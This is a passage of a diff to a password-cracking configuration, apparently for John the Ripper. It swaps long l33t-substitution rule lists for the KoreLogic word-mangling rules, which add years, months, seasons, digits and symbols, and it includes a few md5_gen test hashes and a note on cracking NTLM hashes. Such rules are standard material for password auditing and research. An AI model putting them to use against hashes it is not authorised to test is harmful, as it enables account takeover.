-/3s3E/SsS$[:c] -/3s3E/SsS5[:c] -/3s3E/tst+[:c] -/3s3E/TsT+[:c] -/3s3E/1s1![:c] -/3s3E/1s1i[:c] -/3s3E/1s1I[:c] -/3s3E/1s1|[:c] -/3s3E/0s0o[:c] -/3s3E/0s0O[:c] -/3s3E/4s4a[:c] -/3s3E/4s4A[:c] -/3s3E/5s5s[:c] -/3s3E/5s5S[:c] -/3s3E/7s7l[:c] -/3s3E/7s7L[:c] -/3s3E/8s8b[:c] -/3s3E/8s8B[:c] -/4s4a/asa@[:c] -/4s4a/asa4[:c] -/4s4a/AsA4[:c] -/4s4a/AsA@[:c] -/4s4a/bsb8[:c] -/4s4a/BsB8[:c] -/4s4a/ese3[:c] -/4s4a/EsE3[:c] -/4s4a/isi1[:c] -/4s4a/isi![:c] -/4s4a/isi|[:c] -/4s4a/IsI1[:c] -/4s4a/IsI![:c] -/4s4a/IsI|[:c] -/4s4a/lsl1[:c] -/4s4a/lsl7[:c] -/4s4a/lsl|[:c] -/4s4a/lsl![:c] -/4s4a/Lsl1[:c] -/4s4a/Lsl7[:c] -/4s4a/Lsl|[:c] -/4s4a/Lsl![:c] -/4s4a/oso0[:c] -/4s4a/OsO0[:c] -/4s4a/sss$[:c] -/4s4a/sss5[:c] -/4s4a/SsS$[:c] -/4s4a/SsS5[:c] -/4s4a/tst+[:c] -/4s4a/TsT+[:c] -/4s4a/1s1![:c] -/4s4a/1s1i[:c] -/4s4a/1s1I[:c] -/4s4a/1s1|[:c] -/4s4a/0s0o[:c] -/4s4a/0s0O[:c] -/4s4a/3s3e[:c] -/4s4a/3s3E[:c] -/4s4a/5s5s[:c] -/4s4a/5s5S[:c] -/4s4a/7s7l[:c] -/4s4a/7s7L[:c] -/4s4a/8s8b[:c] -/4s4a/8s8B[:c] -/4s4A/asa@[:c] -/4s4A/asa4[:c] -/4s4A/AsA4[:c] -/4s4A/AsA@[:c] -/4s4A/bsb8[:c] -/4s4A/BsB8[:c] -/4s4A/ese3[:c] -/4s4A/EsE3[:c] -/4s4A/isi1[:c] -/4s4A/isi![:c] -/4s4A/isi|[:c] -/4s4A/IsI1[:c] -/4s4A/IsI![:c] -/4s4A/IsI|[:c] -/4s4A/lsl1[:c] -/4s4A/lsl7[:c] -/4s4A/lsl|[:c] -/4s4A/lsl![:c] -/4s4A/Lsl1[:c] -/4s4A/Lsl7[:c] -/4s4A/Lsl|[:c] -/4s4A/Lsl![:c] -/4s4A/oso0[:c] -/4s4A/OsO0[:c] -/4s4A/sss$[:c] -/4s4A/sss5[:c] -/4s4A/SsS$[:c] -/4s4A/SsS5[:c] -/4s4A/tst+[:c] -/4s4A/TsT+[:c] -/4s4A/1s1![:c] -/4s4A/1s1i[:c] -/4s4A/1s1I[:c] -/4s4A/1s1|[:c] -/4s4A/0s0o[:c] -/4s4A/0s0O[:c] -/4s4A/3s3e[:c] -/4s4A/3s3E[:c] -/4s4A/5s5s[:c] -/4s4A/5s5S[:c] -/4s4A/7s7l[:c] -/4s4A/7s7L[:c] -/4s4A/8s8b[:c] -/4s4A/8s8B[:c] -/5s5s/asa@[:c] -/5s5s/asa4[:c] -/5s5s/AsA4[:c] -/5s5s/AsA@[:c] -/5s5s/bsb8[:c] -/5s5s/BsB8[:c] -/5s5s/ese3[:c] -/5s5s/EsE3[:c] -/5s5s/isi1[:c] -/5s5s/isi![:c] -/5s5s/isi|[:c] -/5s5s/IsI1[:c] -/5s5s/IsI![:c] -/5s5s/IsI|[:c] -/5s5s/lsl1[:c] -/5s5s/lsl7[:c] -/5s5s/lsl|[:c] -/5s5s/lsl![:c] -/5s5s/Lsl1[:c] -/5s5s/Lsl7[:c] -/5s5s/Lsl|[:c] -/5s5s/Lsl![:c] -/5s5s/oso0[:c] -/5s5s/OsO0[:c] -/5s5s/sss$[:c] -/5s5s/sss5[:c] -/5s5s/SsS$[:c] -/5s5s/SsS5[:c] -/5s5s/tst+[:c] -/5s5s/TsT+[:c] -/5s5s/1s1![:c] -/5s5s/1s1i[:c] -/5s5s/1s1I[:c] -/5s5s/1s1|[:c] -/5s5s/0s0o[:c] -/5s5s/0s0O[:c] -/5s5s/3s3e[:c] -/5s5s/3s3E[:c] -/5s5s/4s4a[:c] -/5s5s/4s4A[:c] -/5s5s/7s7l[:c] -/5s5s/7s7L[:c] -/5s5s/8s8b[:c] -/5s5s/8s8B[:c] -/5s5S/asa@[:c] -/5s5S/asa4[:c] -/5s5S/AsA4[:c] -/5s5S/AsA@[:c] -/5s5S/bsb8[:c] -/5s5S/BsB8[:c] -/5s5S/ese3[:c] -/5s5S/EsE3[:c] -/5s5S/isi1[:c] -/5s5S/isi![:c] -/5s5S/isi|[:c] -/5s5S/IsI1[:c] -/5s5S/IsI![:c] -/5s5S/IsI|[:c] -/5s5S/lsl1[:c] -/5s5S/lsl7[:c] -/5s5S/lsl|[:c] -/5s5S/lsl![:c] -/5s5S/Lsl1[:c] -/5s5S/Lsl7[:c] -/5s5S/Lsl|[:c] -/5s5S/Lsl![:c] -/5s5S/oso0[:c] -/5s5S/OsO0[:c] -/5s5S/sss$[:c] -/5s5S/sss5[:c] -/5s5S/SsS$[:c] -/5s5S/SsS5[:c] -/5s5S/tst+[:c] -/5s5S/TsT+[:c] -/5s5S/1s1![:c] -/5s5S/1s1i[:c] -/5s5S/1s1I[:c] -/5s5S/1s1|[:c] -/5s5S/0s0o[:c] -/5s5S/0s0O[:c] -/5s5S/3s3e[:c] -/5s5S/3s3E[:c] -/5s5S/4s4a[:c] -/5s5S/4s4A[:c] -/5s5S/7s7l[:c] -/5s5S/7s7L[:c] -/5s5S/8s8b[:c] -/5s5S/8s8B[:c] -/7s7l/asa@[:c] -/7s7l/asa4[:c] -/7s7l/AsA4[:c] -/7s7l/AsA@[:c] -/7s7l/bsb8[:c] -/7s7l/BsB8[:c] -/7s7l/ese3[:c] -/7s7l/EsE3[:c] -/7s7l/isi1[:c] -/7s7l/isi![:c] -/7s7l/isi|[:c] -/7s7l/IsI1[:c] -/7s7l/IsI![:c] -/7s7l/IsI|[:c] -/7s7l/lsl1[:c] -/7s7l/lsl7[:c] -/7s7l/lsl|[:c] -/7s7l/lsl![:c] -/7s7l/Lsl1[:c] -/7s7l/Lsl7[:c] -/7s7l/Lsl|[:c] -/7s7l/Lsl![:c] -/7s7l/oso0[:c] -/7s7l/OsO0[:c] -/7s7l/sss$[:c] -/7s7l/sss5[:c] -/7s7l/SsS$[:c] -/7s7l/SsS5[:c] -/7s7l/tst+[:c] -/7s7l/TsT+[:c] -/7s7l/1s1![:c] -/7s7l/1s1i[:c] -/7s7l/1s1I[:c] -/7s7l/1s1|[:c] -/7s7l/0s0o[:c] -/7s7l/0s0O[:c] -/7s7l/3s3e[:c] -/7s7l/3s3E[:c] -/7s7l/4s4a[:c] -/7s7l/4s4A[:c] -/7s7l/5s5s[:c] -/7s7l/5s5S[:c] -/7s7l/8s8b[:c] -/7s7l/8s8B[:c] -/7s7L/asa@[:c] -/7s7L/asa4[:c] -/7s7L/AsA4[:c] -/7s7L/AsA@[:c] -/7s7L/bsb8[:c] -/7s7L/BsB8[:c] -/7s7L/ese3[:c] -/7s7L/EsE3[:c] -/7s7L/isi1[:c] -/7s7L/isi![:c] -/7s7L/isi|[:c] -/7s7L/IsI1[:c] -/7s7L/IsI![:c] -/7s7L/IsI|[:c] -/7s7L/lsl1[:c] -/7s7L/lsl7[:c] -/7s7L/lsl|[:c] -/7s7L/lsl![:c] -/7s7L/Lsl1[:c] -/7s7L/Lsl7[:c] -/7s7L/Lsl|[:c] -/7s7L/Lsl![:c] -/7s7L/oso0[:c] -/7s7L/OsO0[:c] -/7s7L/sss$[:c] -/7s7L/sss5[:c] -/7s7L/SsS$[:c] -/7s7L/SsS5[:c] -/7s7L/tst+[:c] -/7s7L/TsT+[:c] -/7s7L/1s1![:c] -/7s7L/1s1i[:c] -/7s7L/1s1I[:c] -/7s7L/1s1|[:c] -/7s7L/0s0o[:c] -/7s7L/0s0O[:c] -/7s7L/3s3e[:c] -/7s7L/3s3E[:c] -/7s7L/4s4a[:c] -/7s7L/4s4A[:c] -/7s7L/5s5s[:c] -/7s7L/5s5S[:c] -/7s7L/8s8b[:c] -/7s7L/8s8B[:c] -/8s8b/asa@[:c] -/8s8b/asa4[:c] -/8s8b/AsA4[:c] -/8s8b/AsA@[:c] -/8s8b/bsb8[:c] -/8s8b/BsB8[:c] -/8s8b/ese3[:c] -/8s8b/EsE3[:c] -/8s8b/isi1[:c] -/8s8b/isi![:c] -/8s8b/isi|[:c] -/8s8b/IsI1[:c] -/8s8b/IsI![:c] -/8s8b/IsI|[:c] -/8s8b/lsl1[:c] -/8s8b/lsl7[:c] -/8s8b/lsl|[:c] -/8s8b/lsl![:c] -/8s8b/Lsl1[:c] -/8s8b/Lsl7[:c] -/8s8b/Lsl|[:c] -/8s8b/Lsl![:c] -/8s8b/oso0[:c] -/8s8b/OsO0[:c] -/8s8b/sss$[:c] -/8s8b/sss5[:c] -/8s8b/SsS$[:c] -/8s8b/SsS5[:c] -/8s8b/tst+[:c] -/8s8b/TsT+[:c] -/8s8b/1s1![:c] -/8s8b/1s1i[:c] -/8s8b/1s1I[:c] -/8s8b/1s1|[:c] -/8s8b/0s0o[:c] -/8s8b/0s0O[:c] -/8s8b/3s3e[:c] -/8s8b/3s3E[:c] -/8s8b/4s4a[:c] -/8s8b/4s4A[:c] -/8s8b/5s5s[:c] -/8s8b/5s5S[:c] -/8s8b/7s7l[:c] -/8s8b/7s7L[:c] -/8s8B/asa@[:c] -/8s8B/asa4[:c] -/8s8B/AsA4[:c] -/8s8B/AsA@[:c] -/8s8B/bsb8[:c] -/8s8B/BsB8[:c] -/8s8B/ese3[:c] -/8s8B/EsE3[:c] -/8s8B/isi1[:c] -/8s8B/isi![:c] -/8s8B/isi|[:c] -/8s8B/IsI1[:c] -/8s8B/IsI![:c] -/8s8B/IsI|[:c] -/8s8B/lsl1[:c] -/8s8B/lsl7[:c] -/8s8B/lsl|[:c] -/8s8B/lsl![:c] -/8s8B/Lsl1[:c] -/8s8B/Lsl7[:c] -/8s8B/Lsl|[:c] -/8s8B/Lsl![:c] -/8s8B/oso0[:c] -/8s8B/OsO0[:c] -/8s8B/sss$[:c] -/8s8B/sss5[:c] -/8s8B/SsS$[:c] -/8s8B/SsS5[:c] -/8s8B/tst+[:c] -/8s8B/TsT+[:c] -/8s8B/1s1![:c] -/8s8B/1s1i[:c] -/8s8B/1s1I[:c] -/8s8B/1s1|[:c] -/8s8B/0s0o[:c] -/8s8B/0s0O[:c] -/8s8B/3s3e[:c] -/8s8B/3s3E[:c] -/8s8B/4s4a[:c] -/8s8B/4s4A[:c] -/8s8B/5s5s[:c] -/8s8B/5s5S[:c] -/8s8B/7s7l[:c] -/8s8B/7s7L[:c] -# These are some popular triple/quad l33t rules -/asa4/ese3/lsl1[:c] -/asa4/ese3/oso0[:c] -/asa4/ese3/sss$[:c] -/asa4/lsl1/oso0[:c] -/asa4/lsl1/sss$[:c] -/asa4/oso0/sss$[:c] -/ese3/lsl1/oso0[:c] -/ese3/lsl1/sss$[:c] -/ese3/oso0/sss$[:c] -/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0[:c] -/asa4/ese3/lsl1/sss$[:c] -/asa4/ese3/oso0/sss$[:c] -/asa4/lsl1/oso0/sss$[:c] -/ese3/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0/sss$[:c] - - - # Case toggler for cracking MD4-based NTLM hashes (with the contributed patch) # given already cracked DES-based LM hashes. @@ -3845,3 +1524,499 @@ Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4 Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3 + +[List.Rules:KoreLogicRules] + +;[List.Rules:KoreLogicRulesPrependNumNum] +-[c:] \p[c:] A0"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependYears] +A0"20[0-1][0-9]" +A0"19[3-9][0-9]" + +# Notice: Your wordlist should likely be all lowercase - or you are wasting work +;[List.Rules:KoreLogicRulesAppendYears] +-[c:] \p[c:] Az"19[0-9][0-9]" <+ +-[c:] \p[c:] Az"20[01][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesMonthsFullPreface] +-[:c] A0"\p[jJ]anuary" +-[:c] A0"\p[fF]ebruary" +-[:c] A0"\p[mM]arch" +-[:c] A0"\p[aA]pril" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]uner" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[aA]ugust" +-[:c] A0"\p[sS]eptember" +-[:c] A0"\p[oO]ctober" +-[:c] A0"\p[nN]ovember" +-[:c] A0"\p[dD]ecember" + +;[List.Rules:KoreLogicRulesPrepend4LetterMonths] +## Preface each dictionary with Janu janu Febr febr +-[:c] A0"\p[jJ]anu" +-[:c] A0"\p[fF]ebr" +-[:c] A0"\p[mM]arc" +-[:c] A0"\p[aA]pr" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]une" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[Aa]ugu" +-[:c] A0"\p[sS]ept" +-[:c] A0"\p[oO]cto" +-[:c] A0"\p[nN]ove" +-[:c] A0"\p[Dd]ece" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesPrependSeason] +A0"[Ss$][uU][mM][mM][eE3][rR]" +A0"[Ww][iI|][nN][tT+][eE3][rR]" +A0"[Ff][aA][lL][lL]" +A0"[Ss][pP][rR][iI][nN][gG]" +A0"[Aa][uU][tT][uU][mM][nN]" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesAppendSeason] +<* Az"[Ss$][uU][mM][mM][eE3][rR]" +<* Az"[Ww][iI|][nN][tT+][eE3][rR]" +<* Az"[Ff][aA][lL][lL]" +<* Az"[Ss][pP][rR][iI][nN][gG]" +<* Az"[Aa][uU][tT][uU][mM][nN]" + +;[List.Rules:KoreLogicRulesPrependHello] +A0"[hH][eE][lL][lL][oO0]" + +# Notice how we +# 1) do caps first b/c they are more common in 'complex' environments +# 2) Do !$@#%. first b/c they are the most common special chars +;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial] +-[c:] \p[c:] Az"201[0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecial] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2Letters] +<- Az"[a-z][a-z]" +-c <- Az"[A-Z][A-Z]" +-c <- Az"[a-z][A-Z]" +-c <- Az"[A-Z][a-z]" + +# Append numbers - but limit the total length. +;[List.Rules:KoreLogicRulesAddJustNumbers] +-[c:] <* >1 \p[c:] $[0-9] +-[c:] <* >1 \p[c:] ^[0-9] +-[c:] <- >1 \p[c:] Az"[0-9][0-9]" +-[c:] <- >1 \p[c:] A0"[0-9][0-9]" +-[c:] >1 \p[c:] Az"[0-9][0-9][0-9]" <+ +# Redundant with KoreLogicRulesAppend4Num +;-[c:] >1 \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesDevProdTestUAT] +-\r[::cc] <* A\p\r[0l0l]"dev" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"uat" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"prod" \p\r[::TT]\p\r[::0l] +-\r[::cc] <* A\p\r[0l0l]"test" \p\r[::TT]\p\r[::0l] + +;[List.Rules:KoreLogicRulesPrependAndAppendSpecial] +-[c:] <- \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] + +# Redundant with KoreLogicRulesAddJustNumbers and KoreLogicRulesAppend4Num +;[List.Rules:KoreLogicRulesAppendJustNumbers] +;-[c:] <* \p[c:] $[0-9] +;-[c:] <- \p[c:] Az"[0-9][0-9]" +;-[c:] \p[c:] Az"[0-9][0-9][0-9]" <+ +;-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple] +# cap first letter then add a 0 2 6 9 ! * to the end +-[c:] <* \p[c:] $[0-9!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +# cap first letter then add a special char - THEN a number !0 %9 !9 etc +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q +# Cap the first letter - then add 0? 0! 5_ .. 9! +## add NUMBER then SPECIAL 1! .. 9? +-[c:] <- \p[c:] Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q +## Add Number Number Special +;-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ +## Add Special Number Number +;-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+ +# Add 100! ... 999! to the end +;-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesAppendJustSpecials] +-[c:] <* \p[c:] $[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] <- \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAddShortMonthsEverywhere] +<* >\r[00123456789] A\p[z0-9]"[jJ][aA][nN]" +<* >\r[00123456789] A\p[z0-9]"[fF][eE][bB]" +<* >\r[00123456789] A\p[z0-9]"[mM][aA][rRyY]" +<* >\r[00123456789] A\p[z0-9]"[aA][pP][rR]" +<* >\r[00123456789] A\p[z0-9]"[jJ][uU][nNlL]" +<* >\r[00123456789] A\p[z0-9]"[aA][uU][gG]" +<* >\r[00123456789] A\p[z0-9]"[sS][eE][pP]" +<* >\r[00123456789] A\p[z0-9]"[oO][cC][tT]" +<* >\r[00123456789] A\p[z0-9]"[nN][oO][vV]" +<* >\r[00123456789] A\p[z0-9]"[dD][eE][cC]" + +# this will add the string '2010' at all places in the word: +# USE this with a 4 or 5 char dictionary file with ALL characters +# soo abcde will become +# 2010abcde a2010bcde ab2010cde acd2010de abcd2010e abcde2010 +;[List.Rules:KoreLogicRulesAdd2010Everywhere] +<* >\r[00123456789] A\p[z0-9]"201[0-9]" + +;[List.Rules:KoreLogicRulesAdd1234_Everywhere] +<* >\r[00123456789] A\p[z0-9]"1234" + +;[List.Rules:KoreLogicRulesAppendMonthDay] +-[:c] <* Az"\p[jJ]anuary" +-[:c] Az"\p[jJ]anuary[0-9]" <+ +-[:c] Az"\p[jJ]anuary[0-9][0-9]" <+ +-[:c] <* Az"\p[fF]ebruary" +-[:c] Az"\p[fF]ebruary[0-9]" <+ +-[:c] Az"\p[fF]ebruary[0-9][0-9]" <+ +-[:c] Az"\p[mM]arch" +-[:c] Az"\p[mM]arch[0-9]" <+ +-[:c] Az"\p[mM]arch[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]pril" +-[:c] Az"\p[aA]pril[0-9]" <+ +-[:c] Az"\p[aA]pril[0-9][0-9]" <+ +-[:c] <* Az"\p[mM]ay" +-[:c] Az"\p[mM]ay[0-9]" <+ +-[:c] Az"\p[mM]ay[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]une" +-[:c] Az"\p[jJ]une[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[jJ]une[0-9][0-9]" <+ +-[:c] <* Az"\p[jJ]uly" +-[:c] Az"\p[jJ]uly[0-9]" <+ +-[:c] Az"\p[jJ]uly[0-9][0-9]" <+ +-[:c] <* Az"\p[aA]ugust" +-[:c] Az"\p[aA]ugust[0-9]" <+ +-[:c] Az"\p[aA]ugust[0-9][0-9]" <+ +-[:c] <* Az"\p[sS]eptember" +-[:c] Az"\p[sS]eptember[0-9]" <+ +# There was a typo in Kore's original revision of this rule +-[:c] Az"\p[sS]eptember[0-9][0-9]" <+ +-[:c] <* Az"\p[oO]ctober" +-[:c] Az"\p[oO]ctober[0-9]" <+ +-[:c] Az"\p[oO]ctober[0-9][0-9]" <+ +-[:c] <* Az"\p[nN]ovember" +-[:c] Az"\p[nN]ovember[0-9]" <+ +-[:c] Az"\p[nN]ovember[0-9][0-9]" <+ +-[:c] <* Az"\p[dD]ecember" +-[:c] Az"\p[dD]ecember[0-9]" <+ +-[:c] Az"\p[dD]ecember[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendMonthCurrentYear] +-[:c] <* Az"\p[jJ]an201[0-9]" +-[:c] <* Az"\p[fF]eb201[0-9]" +-[:c] <* Az"\p[mM]ar201[0-9]" +-[:c] <* Az"\p[aA]pr201[0-9]" +-[:c] <* Az"\p[mM]ay201[0-9]" +-[:c] <* Az"\p[jJ]un201[0-9]" +-[:c] <* Az"\p[jJ]ul201[0-9]" +-[:c] <* Az"\p[Aa]ug201[0-9]" +-[:c] <* Az"\p[sS]ep201[0-9]" +-[:c] <* Az"\p[oO]ct201[0-9]" +-[:c] <* Az"\p[nN]ov201[0-9]" +-[:c] <* Az"\p[Dd]ec201[0-9]" + +;[List.Rules:KoreLogicRulesReplaceNumbers2Special] +/[1-90] s\0\p[!@#$%^&*()] +/1 /[2-90] s1! s\0\p[@#$%^&*()] +/2 /[3-90] s2@ s\0\p[#$%^&*()] +/3 /[4-90] s3# s\0\p[$%^&*()] +/4 /[5-90] s4$ s\0\p[%^&*()] +/5 /[6-90] s5% s\0\p[^&*()] +/6 /[7-90] s6^ s\0\p[&*()] +/7 /[890] s7& s\0\p[*()] +/8 /[90] s8* s\0\p[()] +/9 /0 s9( s0) + +;[List.Rules:KoreLogicRulesReplaceNumbers] +/0 s0[1-9] +/1 s1[02-9] +/2 s2[013-9] +/3 s3[0-24-9] +/4 s4[0-35-9] +/5 s5[0-46-9] +/6 s6[0-57-9] +/7 s7[0-68-9] +/8 s8[0-79] +/9 s9[0-8] +# 10 lines above can be replaced with just one: +# /[0-9] s\0[0-9] Q +# but it's slower (generates, then rejects some duplicates). + +# This is a lamer/faster version of --rules:nt +;[List.Rules:KoreLogicRulesReplaceLettersCaps] +-c /[a-z] s\0\p[A-Z] + +;[List.Rules:KoreLogicRulesAddDotCom] +-[c:] <- \p[c:] Az".com" +-[c:] <- \p[c:] Az".net" +-[c:] <- \p[c:] Az".org" + +;[List.Rules:KoreLogicRulesPrependJustSpecials] +-[c:] \p[c:] ^[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $1 + +;[List.Rules:KoreLogicRulesAppendNum_AddSpecialEverywhere] +# This should probably use $[02-9] since we try $1 in +# KoreLogicRulesAppend1_AddSpecialEverywhere +-[c:] >4 <- \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] +-[c:] >[5-8] <- \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] $[0-9] + +;[List.Rules:KoreLogicRulesAppendNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendNumNumNum_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"[0-9][0-9][0-9]" <+ + +;[List.Rules:KoreLogicRulesAppendYears_AddSpecialEverywhere] +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >4 \p[c:] i[0-5][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"19[4-9][0-9]" <+ +-[c:] >[5-8] \p1[c:] i\p2[6-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*] Az"20[0-1][0-9]" <+ + +# This rule needs work actually --- you have to 'sort -u' its output rick +# /a = reject if it doesnt have an 'a' +# the [:c] does waste some effort - and generate dupes. This is wasteful, +# but I want to keep it in b/c the original crack/JtR rules use it. +;[List.Rules:KoreLogicRulesL33t] +-[:c] /\r[aaAAbBeEiiiIIIllll] s\0\r\p[@44@88331!|1!|17|!] \p1[:M] \p1[:c] \p1[:Q] +# The following line differs from Kore's erroneous 4 lines: +-[:c] /\r[LLLL] s\0\r\p[17|!] \p1[:M] \p1[:c] \p1[:Q] +#/Lsl1[:c] +#/Lsl7[:c] +#/Lsl|[:c] +#/Lsl![:c] +-[:c] /\r[oOssSStT1111003344557788] s\0\r\p[00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Full set (same as above, but on one line): +#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Double substitutions start here. +# Compared to Kore's, we check for both chars first, then replace both. +# This produces different results from Kore's, which would replace all +# instances of the first char before checking for the second. +# Kore's behavior may be restored by moving "sa[@4]" to be right after "/a" +# on the line below, and ditto for further lines. +-[:c] /a /\r[AAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] sa[@4] s\2\r\p2[4@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore had these (probably unintentionally, so we don't duplicate them): +#/asa4/4s4a[:c] +#/asa4/4s4A[:c] +-[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4) +#/AsA4/4s4a[:c] +#/AsA4/4s4A[:c] +-[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# Kore's rules only included sl[17|], but not sl! +-[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +# All "/L" rules (171 lines) were buggy +-[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q] +-[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] 